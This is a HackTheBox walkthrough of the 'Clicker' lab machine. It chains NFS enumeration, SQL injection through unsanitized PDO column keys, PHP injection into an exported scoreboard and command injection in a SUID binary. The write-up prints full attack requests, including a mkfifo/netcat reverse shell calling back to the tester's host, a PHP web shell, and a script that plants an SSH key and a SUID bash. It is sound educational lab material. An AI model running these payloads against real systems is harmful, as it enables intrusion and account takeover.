HackTheBox: Clicker

01/13/2024

First live medium box Im attempting.

Enumeration

nmap scan shows multiple ports open: - SSH on 22 - HTTP on 80 - rpcbind on 111 - nfs on 2049

Never heard of nfs, but it's Network File System, and it uses RPC to handle requests which explains rpcbind on 111.

Researching NFS

As usual with services I dont recognize, I go to Hacktricks for info: https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

This has some useful tips and points to a metasploit scanner module, which Ill use now. scanner/nfs/nfsmount #Scan NFS mounts and list permissions


msf6 auxiliary(scanner/nfs/nfsmount) > exploit

[+] 10.10.11.232:111      - 10.10.11.232 Mountable NFS Export: /mnt/backups [*]
[*] 10.10.11.232:111      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Okay, so the metasploit module found a mountable NFS share, /mnt/backups. Let me figure out how to mount that.

Looks like you mount it in a very similar way to how you would mount a local device:


mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock

Ill make my own directory /mnt/backups and mount it there:


$mkdir /mnt/backups

$sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/backups -o nolock

$ ls /mnt/backups/                       
clicker.htb_backup.zip

Hell yeah. We have a backup of the site.

Lets copy it and open it.

Searching Site Backup for Credentials

We have the backup of the site. First thing I do is grep -Ri passw . to search for cleartext creds hardcoded into the site source:


diagnostic.php:$db_password="clicker_db_password";                                                     
diagnostic.php: $pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));

Here's a strange bit of code:


db_utils.php:   $stmt = $pdo->prepare("SELECT password FROM players WHERE username = :player");

what does :player mean in PHP?

So we have database creds, but that isnt exceptionally helpful unless we can get a shell to begin with.

Before diving into source code analysis for the site, let's check the website itself and see what we can do.

Checking the Site's Intended functionality

It's a game where you click the button and your score is based on number of clicks.

The registration works and I can sign in and play the game.

A couple things worth looking into: - My username is echoed back on the welcome page. Maybe we can insert malicious code here? Either SSTI or php - The site seems to send messages between pages using query string in URL; for example, http://clicker.htb/index.php?msg=Game%20has%20been%20saved!

It does save your progress.

Cool. Let's look at the source code now to see what looks exploitable.

Source Code Analysis

On my first pass through Im just going to skim and make note of critical bits of code.

admin.php

php
if ($_SESSION["ROLE"] != "Admin") {                                              
  header('Location: /index.php');                                                
  die;                     
}              

may want to figure out how to change our role to admin

db_utils.php

php
$db_server="localhost";         
$db_username="clicker_db_user";     
$db_password="clicker_db_password";                                                                    
$db_name="clicker";         
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);

In the above, note that mysqli just initiates a connection to the DB, and PDO is a PHP Data Object used for communicating with db.

create_player.php:

php
if (! ctype_alnum($_POST["username"])) {
	header('Location: /register.php?err=Special characters are not allowed');
        }

So there are measures against putting malicious code into username.

diagnostic.php

php
<?php                                   
if (isset($_GET["token"])) {
    if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
        header("HTTP/1.1 401 Unauthorized");
        exit;                               
        }                               
}  

So it looks like you need a password token to use diagnostic mode, which is just an md5 hash. Im going to google that first, and if google doesnt find anything, Ill get John working on it as I keep going through source code.

Google didnt turn anything up, and it wasnt anything in rockyou.txt. I have john working on it in incremental ascii mode now.

What the fuck? I stumbled across a site that happens to have this exact hash (https://onecompiler.com/php/3zs88ye7s):

php
<?php
	if (strcmp(md5(null), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
        //echo strcmp(md5("assaasdsadasdasdsadd"), "ac0e5a6a3a50b5639e69ae6d8cd49f40");
        //echo nl2br("\n");
        //echo md5("ac0e");
        //echo nl2br("\n");
        echo(md5("afsdfssfsdfdaddfsdfddfs"));
        echo("ButtonLover99");
	}
?>

so it looks like assaasdsadasdasdsadd might be the hash. Let me try it

Is this from another HTB user? It must be. No way it has that much in common just by random chance.

Oh well, none of those strings are correct anyway. This must just be someone else's failed attempt at cracking it.

Moving on.

diagnostic.php

php
$data=[];
$data["timestamp"] = time();                                                                           
$data["date"] = date("Y/m/d h:i:sa");
$data["php-version"] = phpversion();
$data["test-connection-db"] = $connection_test;
$data["memory-usage"] = memory_get_usage();
$env = getenv();
$data["environment"] = $env; 

$xml_data = new SimpleXMLElement('<?xml version="1.0"?><data></data>');
array_to_xml($data,$xml_data);
$result = $xml_data->asXML();
print $result;

So it will display environment variables if you can get the diagnostic page working.

Attempting to bypass strcmp()

If we can figure out a way to bypass strcmp in diagnostic.php, we can view the environment variables of the user running the site, which may contain passwords.

There is actually some information online about doing this, such as the article here: (https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016)

From the article:


If I set $_GET[‘password’] equal to an empty array, then strcmp would return a NULL. Due to some inherent weaknesses in PHP’s comparisons, NULL == 0 will return true

Let me give this a shot:


http://clicker.htb/diagnostic.php?token[]=""

No luck. The issue is that its running the token through MD5 first, not just comparing the raw value.

Next best bet would be to generate MD5 collision.

Enumerating users

We could attempt to enumerate users by trying to register them and seeing which names return "User already exists".

I could attempt to get access to one of these accounts by bruteforcing login.

In fact, that might be worth setting up while Im waiting.

Continuing to review source code

play.php

php
<script>
      money = <?php echo $_SESSION["CLICKS"]; ?>;
      update_level = <?php echo $_SESSION["LEVEL"]; ?>;
      money = parseInt(money);
      update_level = parseInt(update_level);
      upgrade_cost = 15 * (5 ** update_level);
      money_increment = upgrade_cost / 15;

      function addcomma(x) {
        return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",")
      }

      function saveAndClose() {
        window.location.replace("/save_game.php?clicks="+money+"&level="+update_level);
      }

      function clicked() {
        money += money_increment;
        document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
      }

      function upgrade() {
        if (money >= upgrade_cost) {
          money_increment += upgrade_cost / 15;
          money -= upgrade_cost;
          update_level += 1;
          upgrade_cost = upgrade_cost * 5;
          document.getElementById("upgrade").innerHTML = addcomma(update_level) + " - LevelUP Cost: " + addcomma(upgrade_cost);
        }
   

        document.getElementById("click").innerHTML = "Level: " + addcomma(update_level);
        document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
      }

    </script>

Vulnerabilities

Right now Im just kind of poking around. Noticed this glaring flaw in the save game mechanism:

http
GET /save_game.php?clicks=1&level=1 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1

as you can see, it seems to encode the clicks and level in the request sent from client to server. Let's do a PoC to see if I can abuse this and set arbitrary level/clicks:

http
GET /save_game.php?clicks=1&level=1000 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1

Did it work? Let's restore the game and see...


# Clicks: 1

##### Level: 1,000

Hell yeah.

Now that I've established that I can set arbitrary values for saved game parameters, let's see if I can do PHP injection using these lines:

php
money = <?php echo $_SESSION["CLICKS"]; ?>;
update_level = <?php echo $_SESSION["LEVEL"]; ?>;

Since theyre double-quoted, they should expand any variables. Im quite sure I can leverage that to leak system info at the very least, or maybe even RCE.

save_game.php

php
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
        $args = [];
        foreach($_GET as $key=>$value) {
                if (strtolower($key) === 'role') {
                        // prevent malicious users to modify role
                        header('Location: /index.php?err=Malicious activity detected!');
                        die;
                }
                $args[$key] = $value;
        }
        save_profile($_SESSION['PLAYER'], $_GET);
        // update session info
        $_SESSION['CLICKS'] = $_GET['clicks'];
        $_SESSION['LEVEL'] = $_GET['level'];
        header('Location: /index.php?msg=Game has been saved!');

}

so basically, it looks like you might be able to change other parameters about your profile from the save game functions. Let me see if I can use it to change my nickname.

Targeting the "Save Game" code to search for bugs

in save_game.php

php

in db_utils.php

php
function save_profile($player, $args) {
        global $pdo;
        $params = ["player"=>$player];
        $setStr = "";
        foreach ($args as $key => $value) {
                $setStr .= $key . "=" . $pdo->quote($value) . ",";
        }
        $setStr = rtrim($setStr, ",");
        $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
        $stmt -> execute($params);
}

You apparently CAN change valid parameters using the save game GET request, like nickname. The only real evidence that its changing, besides the "Successfully saved" message, is that you can no longer sign in if you change the nickname.

Can we change nickname to admin?

Why does changing nickname prevent us from signing in again? Let's investigate Here's the createnewplayer logic in db_utils:

php
function create_new_player($player, $password) {
        global $pdo;
        $params = ["player"=>$player, "password"=>hash("sha256", $password)];                     
        $stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
        $stmt->execute($params);
}                               

So the nickname and username are identical.

You can change your username with the save game trick. What happens if I change my name to admin? Or to one of the other registered players? No luck there, get no response and sign in doesnt work.

Curious... db_utils.php:

php
// ONLY FOR THE ADMIN
function get_top_players($number) {
        global $pdo;
        $stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
        $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
        return $result;

We could get on this top players list by spoofing our clicks, then have our nickname loaded. Wonder if this could be why it was crashing when I tried changing my nickname when I was level 1000? Because now I'm able to change the nickname without issue, with my clicks at 0.

What about this route: - abuse the save_game mechanism to change my nickname to include malicious php - login and view profile to execute php - spoof clicks to get the admin function to load my profile

Can we add PHP code to our nickname? It looks like we can! It's not executing though, but it hides it, so it recognizes it as PHP. Either way, by changing it this way, we bypass the special character restrictions in place when you register. So we can definitely leverage that somehow or other.

Question: Can we leverage this to get a reverse shell? Lets test:

http
GET /save_game.php?clicks=0&level=0&nickname=<?php system($_GET['cmd']);?> HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1

Then URL encode and send.

Nope, doesnt look like you actually get RCE that way. We can probably leak something though, I would imagine. I guess it's a client-side thing that just doesnt display anything between <>

What does the site do with get_top_players()?

What does it do with get_top_players()? Im referring to the function below, that queries players with the most clicks: db_utils.php:

php
// ONLY FOR THE ADMIN
function get_top_players($number) {
        global $pdo;
        $stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
        $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
        return $result;
}

I feel like this is potentially exploitable, since we can spoof our clicks to get on this "top players" list, and we can also change our nickname, all using the broken save-game mechanism.

Where is it used?


grep -Ri get_top_players

export.php:$data = get_top_players($threshold);
admin.php:      $top_players = get_top_players($threshold);
db_utils.php:function get_top_players($number) {

Three places: export.php, admin.php, and then its definition in db_utils.php.

Let's see what admin.php does with it first:

php
$threshold = 1000000;                                                            
      $top_players = get_top_players($threshold);                                
      if (count($top_players) > 0) {                                             
        echo '<h3>Top players</h3>';                                             
        echo '<table class="table table-dark">';                                 
        echo '<thead>';                            
        echo '  <tr>';                             
        echo '    <th scope="col">Nickname</th>';  
        echo '    <th scope="col">Clicks</th>';                                  
        echo '    <th scope="col">Level</th>';                                   
        echo '  </tr>';                                                          
        echo '</thread>';                                                        
        echo '<tbody>';                         

it appears to just search for all players with a click score greater than or equal to 1 million and print their information.

In export.php, each player in get_top_players has their data written to a file and saved to exports/top_players_ plus a random string of 8 characters (not brute-forceable).

Is directory listing enabled? If we could inject php into our nickname then spoof our clicks to potentially get our data written to file, we could then access the file if we knew where it was and launch a revshell.

Nope, unfortunately... guess that would be too easy.

I think we WILL use that mechanism, but we first have to get admin privileges on the site.

Note that this is basically just log poisoning.

Getting "Admin" role

So, how do we do this?

Every other parameter of our profile we can change through the broken "save game" mechanism, but there's a countermeasure against changing your role here: save_game.php:

php
foreach($_GET as $key=>$value) {
                if (strtolower($key) === 'role') {
                        // prevent malicious users to modify role
                        header('Location: /index.php?err=Malicious activity detected!');
                        die;

Basically, it checks if the input string is exactly equal to "role".

What Im wondering, though, is if we can spoof it using whitespace? No luck so far

Can we trick the authentication code to make it return the wrong user for the session?

Damn. This is tough.

We need SOME kind of vuln in the authentication chain. Just something we can get our foot into where it wrongly trusts information we supplied it.

Attempting SQL Injection to change role

Forums said SQLi was involved in foothold. Only place I can think to do that would be the save game mechanism, which uses a UPDATE ... SET... SQL statement. Maybe we can smuggle the role update in with another parameter.

Nah, cant do it... it uses PDO prepared statements, which supposedly are basically immune to SQLi. Dude must be smoking crack.

Attempting to bypass token in diagnostics page

Back to this. This HAS to be the way.

php
<?php                                                                            
if (isset($_GET["token"])) {                                   
    if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {  
        header("HTTP/1.1 401 Unauthorized");
        exit;                                                                    
        }                 

There's gotta be a way to bypass this. The hash is uncrackable.

I think it has to do with the double-quotes in md5($_GET["token"]); that allows variable expansion.

SQL injection Revisited

Check out this site: (https://phpdelusions.net/pdo/sqlinjectionexample#helper)

I actually stumbled on it earlier, but I didnt notice how similar the code sample was to the code in the app. The site shows an example of performing SQL injection into flawed PDO code.

Here's the sample vulnerable code from the article (format it later):

php
$params = [];
$setStr = "";
foreach ($data as $key => $value)
{
    if ($key != "id")
    {
        $setStr .= $key." = :".$key.","; 
    }
    $params[':'.$key] = $value;

}
$setStr = rtrim($setStr, ",");
$pdo->prepare("UPDATE users SET $setStr WHERE id = :id")->execute($params);

And here's the actual code from the app:

php
function save_profile($player, $args) {
        global $pdo;
        $params = ["player"=>$player];
        $setStr = "";
        foreach ($args as $key => $value) {
                $setStr .= $key . "=" . $pdo->quote($value) . ",";
        }
        $setStr = rtrim($setStr, ",");
        $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
        $stmt -> execute($params);
}

Some of the lines are almost identical between the two cases.

So let's read the article. How is the code vulnerable?

From the article,


It looks pretty good, as it can quickly produce a query out of any array which keys represent column names and values represent values to be used in the query. Given field names in HTML form are the same as table column names, it can greatly automate the form processing, letting you to use the same code to edit information in any table. Very convenient. But **catastrophically vulnerable.**

"How's that?" - you'd probably say - "placeholders are used and data is safely bound, therefore our query is safe". Yes, the _data_ is safe. But in fact, what does this code do is **taking user input and adding it directly to the query.** Yes, it's a `$key` variable. Which goes right into your query untreated.

Which means you've got an injection.

And god damn, he's right:

php
$setStr .= $key . "=" . $pdo->quote($value) . ",";

our $key value is added directly to the query, and only the $value gets quoted and sanitized.

So how do we exploit this?

From the article:


Here is a little proof of concept code, which, as long as you have a table "users" and a row with id=1, will change the user name in the table to a result of SELECT query. And this query could be anything:
html
<input type=hidden name="name=(SELECT'hacked!')WHERE`id`=1#" value="">

Oh thank fuck, finally!

Got the admin access. Here's what I did: - First, make an account (mine is named "demo") and click "play" to launch the game. Next we want to forge a "save game" request with malicious data. - Click "save and close" and intercept the request, and add the third parameter as so:

http
GET /save_game.php?clicks=0&level=0&role=(SELECT'Admin')WHERE`username`='demo'#='' HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1

Then URL encode role=(SELECT'Admin')WHEREusername='demo'#; we are using this entire block as the $key in the key-value pair, and the empty '' is the value. That is, we are performing SQLi with the $key.

We submit the request (remember to URL-encode) and get success message. Then we log out and log back in to force session to update from database, and we have the admin tab!

Holy shit that took forever. That's what I get for doing this on no sleep. The next part should be easy at least, since I already have a plan for it.

Getting a shell using LFI

This phase of the exploit I already had planned, so I should be able to execute it relatively quickly.

Im going to leverage the "save game" functionality to embed a php reverse shell in my profile's nickname, while simultaneously spoofing my click count to be over a million to put myself in the "top players" board (the threshold is hardcoded at 1000000). Then Im going to export the top players which will write all player details to file.

Then if I can navigate to the file, I can spawn a shell.

We will want to be sure to save the file in .html format.

Here's the second malicious save game request:

http
GET /save_game.php?clicks=2000000&level=0&nickname=<?php system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f &");?> HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1


Then URL encode the nickname PHP payload.

We get a success message.

Back to the admin page: success. We're on the top score list, with our php code stored.

Now we export as html and get the response: ##### Data has been saved in exports/top_players_km3aef67.html

Hell yeah. I open up a netcat listener and now we navigate to the file:



Okay, no luck with that shell; I think it was too long. Let's try this one:


&nickname=<?php system($_GET['cmd']);?>

Hmm. Our php tag itself is being displayed in the page source rather than printed.

That must be because php doesnt automatically execute in .html files.

We aren't given the .php option in the drop-down menu, but can we manually change it in the intercepted request? Looks like we can:

php
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];

We just need to add the extension to the POST request, like so:

http
POST /export.php HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://clicker.htb
Connection: close
Referer: http://clicker.htb/admin.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1

threshold=1000000&extension=php

Hell yeah:


##### Data has been saved in exports/top_players_5pm37mwn.php

Lets try it... Ill try hitting both the web shell and the reverse shell.

The system reset on me, so here it all is in one malicious save game request:

http
GET /save_game.php?clicks=2000000&level=0&nickname=<%3fphp+system("rm+-f+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+4444+>/tmp/f+%26")%3b%3f>&role%3d(SELECT'Admin')WHERE`username`%3d'test'%23='' HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1

and once we export the scoreboard as .php and navigate to the page...


nc -nlvp 4444

listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.232] 34230
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data 

FUCK YEAH!!!!

That was the most intricate foothold I've gotten so far. Proud of that one.

Pivoting

Let's upgrade our revshell and start poking around.


$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@clicker:/var/www/clicker.htb/exports$ 

[1]+  Stopped                 nc -nlvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
nc -nlvp 4444
             reset

www-data@clicker:/var/www/clicker.htb/exports$ export TERM=xterm

There we go.

First things first, let's make a list of stuff to check so I dont forget: - What other users on system? Can we view their home dirs? - Any SUID bins? - Can we run sudo -l without password? - Any interesting env variables? We SHOULD, since the diagnostic.php page loads them - Any cleartext passwords in web root? - Can we access the database and get any user passwords? - run linpeas - run pspy

Other Users: jack

SUID bins: (found using find / -perm -4000 2>/dev/null) One interesting item: /opt/manage/execute_query ==what is this? come back to it. There's also a readme.txt in /opt/manage==

Can we run sudo -l? no

Interesting environment variables? No

Any cleartext creds in web root? no

Can we dump any user hashes from database? Not with the credentials we have,


clicker_db_user
clicker_db_password
clicker

Okay. Let's see what the execute_query SUID bin is all about. If this is binary exploitation Im gonna be fucking amped

Analyzing a custom SUID binary and OPT directory

Going to be amped if this involves bianry exploitation, holy shit.

Let's not get ahead of ourselves though. The SUID is /opt/manage/execute_query, but we also have some interesting stuff in /opt:


www-data@clicker:/opt$ ls
manage  monitor.sh

We have a script monitor.sh, which contains some juicy info:

bash
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

We just got the token for diagnostic.php: "secretdiagnostictoken", which I will use now to view the diagnostic page. Second, we see that it saves this diagnostic data to a root directory. May be useful later.

Okay. Lets go into the /manage/ directory and see what we have:


www-data@clicker:/opt$ cd manage/
www-data@clicker:/opt/manage$ ls
README.txt  execute_query

We have a readme with the following contents:


Web application Management

Use the binary to execute the following task:
        - 1: Creates the database structure and adds user admin
        - 2: Creates fake players (better not tell anyone)
        - 3: Resets the admin password
        - 4: Deletes all users except the admin

Okay. We dont necessarily care what it's SUPPOSED to do if we can abuse it, but we'll have to decompile it. Note that it uses the SUID bit to run as Jack:


www-data@clicker:/opt/manage$ ls -l
total 20
-rw-rw-r-- 1 jack jack   256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26  2023 execute_query

So we're almost definitely going to need to use this to pivot.

Im so excited. Let me download it for local analysis by copying it to web root stealthily...


cp execute_query /var/www/clicker.htb/exports/787628345

I give it a random numeric string as a name to camouflage it, both from fictional admin and also from other players on the server so that it doesnt ruin it for them. Then I just navigate to that name under exports on the site and download it.

Im actually going to transfer the file out of kali and into my local desktop to use Ghidra on it.

Reverse-Engineering execute_query() SUID bin

First let's do some basic checks. Let's run strings on it.

Output from strings:


/lib64/ld-linux-x86-64.so.2
O+-W
__cxa_finalize
setreuid
__libc_start_main
atoi
puts
system
strncpy
strlen
strcat
__stack_chk_fail
calloc
access
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"
GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
execute_query.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
strncpy@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
strlen@GLIBC_2.2.5
__stack_chk_fail@GLIBC_2.4
system@GLIBC_2.2.5
calloc@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
setreuid@GLIBC_2.2.5
__bss_start
main
access@GLIBC_2.2.5
atoi@GLIBC_2.2.5
strcat@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

The custom text strings are broken up, but they will be easier to read in Ghidra.

What's interesting to note in the above, however, is that the binary apparently runs system()... we may be able to perform command injection to get code execution as jack.

Now let's decompile it with Ghidra and take a look.

The program gives us an error about insufficient arguments when we try to run it. From the decompilation we can see that it expects one argument, a number between 0 and 4, where each one corresponds to a different .sql file:

c
    iVar1 = atoi(*(char **)(param_2 + 8));
    pcVar3 = (char *)calloc(0x14,1);
    switch(iVar1) {
    case 0:
      puts("ERROR: Invalid arguments");
      uVar2 = 2;
      goto LAB_001015e1;
    case 1:
      strncpy(pcVar3,"create.sql",0x14);
      break;
    case 2:
      strncpy(pcVar3,"populate.sql",0x14);
      break;
    case 3:
      strncpy(pcVar3,"reset_password.sql",0x14);
      break;
    case 4:
      strncpy(pcVar3,"clean.sql",0x14);
      break;
    default:
      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);

Okay.

Examining defined strings in Ghidra turned up suspiciously little; I knew there have to be file paths defined, but none are in .rodata. Then I figured out why: it seems to be attempting to obfuscate the strings by saving them as ints. I see right through it though, because the ints are composed of all valid ASCII values:

c
	local_98 = 0x616a2f656d6f682f;
    local_90 = 0x69726575712f6b63;
    local_88 = 0x2f7365;

<SNIP>
    
    iVar1 = access(__dest,4);
    if (iVar1 == 0) {
      local_78 = 0x6e69622f7273752f;
      local_70 = 0x2d206c7173796d2f;
      local_68 = 0x656b63696c632075;
      local_60 = 0x6573755f62645f72;
      local_58 = 0x737361702d2d2072;
      local_50 = 0x6c63273d64726f77;
      local_48 = 0x62645f72656b6369;
      local_40 = 0x726f77737361705f;
      local_38 = 0x6b63696c63202764;
      local_30 = 0x203c20762d207265;
      local_28 = 0;

These are the strings, hidden in plain sight. Is there an easy way to decode these? Maybe I can just paste them into cyberchef. The issue, though, is that they'll be in little-endian order.

Im going to attempt to quickly reverse these strings with a script.

Im an idiot. What I could have done is just stepped through in GDB and wait for the program to decode it itself... that would have been the "right" way. Fuck it, ill do it both ways for practice.

So the decoded strings are:


/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < 

The redirect at the end sets it up to restore db from a backup file. I assume that the argument we pass on command line determines which backup .sql file is passed as the restoration image.

The three lines of encrypted text above the main block corresponds to


/home/jack/queries

==explain how I scripted it here==

==do it again in gdb==

Okay. Honestly I was very scattered in my approach to this; should have taken a more focused approach with the target of code execution, rather than run to every shiny little distraction like encrypted strings. Couldnt help it though.

Let's see how it uses system(). First it copies in the base file path /home/jack/queries/ and appends EITHER one of the 4 .sql files (for inputs 1,2,3 or 4), OR allows you to PROVIDE a filename on argv (ie, /home/jack/queries/<filename from argv>). This is all stored in __dest

And it appears that we can write our own file in if we give an argument over 4, as the default case in the selection switch statement seems to copy in 20 bytes from argv:

c
    default:
      strncpy(command,*(char **)(param_2 + 0x10),0x14);
    }

Then it will copy the system command /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < into the command buffer, and then append the file path. Then it executes the command using system().

This should be easy enough to exploit. If we use option 5 to input our own filename, we can do OS injection in the filename. We are constricted to 20 bytes, but this should be enough.

What we can do is use the 20 character injection to run a script with the real commands. Ie,


echo -n ";/dev/shm/script.sh" | wc -c
19

So what we will do is make a script in /dev/shm and load it with commands. We can either use this to copy /bin/bash as an SUID bin, or we could append an ssh key to his authorized_keys, which would be better. That would give us a more reliable shell.

Here's the malicious script:

bash
$ cat /dev/shm/script.sh
#!/bin/bash

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt36b40Je0VFcjXzBxNsXPCmTMX02qWOeIm1JIGIy8r+5XLnVyKPLiMN+k+EqBgcdbho9NWVNqzsToh+nTaf2OP47IOhFNdqZjDWeQ4KZOuVWFjVEWLpfAMH14XhTC9a3PuYtZZu1XUSsSD0txREVG/jcwK/nQs0cmmdLSMhCnF0dRYqqC7sGVc7917UF31qMDvEg1TbXrk9umDH2y/LOOxpENsXu+PBxJWeqH67A3B2ChOOvJ/dzgxSJDBQEsIoGiHw0P4jBEWnlkbLp26j2b3PRrjjNq9Ve5an0WseEWScUx3AlJqXUrzXNmklJEzQ12KF0OxRgU6Z11xmngJaRsYp6RDXqaSNlH5YFSAB2xM2vaCFS5clac3ZldHPANdk90ZLjNAt0W3gz0cNJcezuRF7N49w5+hbqMFWqp7Q8zgvltRoOTTGjv7+C2emqQ/mz6poiXNCCg/kou+6gj+hoHUDs0b18Fmv6eZvddD2HpBOHItnJVxbrEUxSxawfdsI0= kali@kali" >> ~/.ssh/authorized_keys

cp /bin/bash /dev/shm/1332

chmod +s /dev/shm/1332

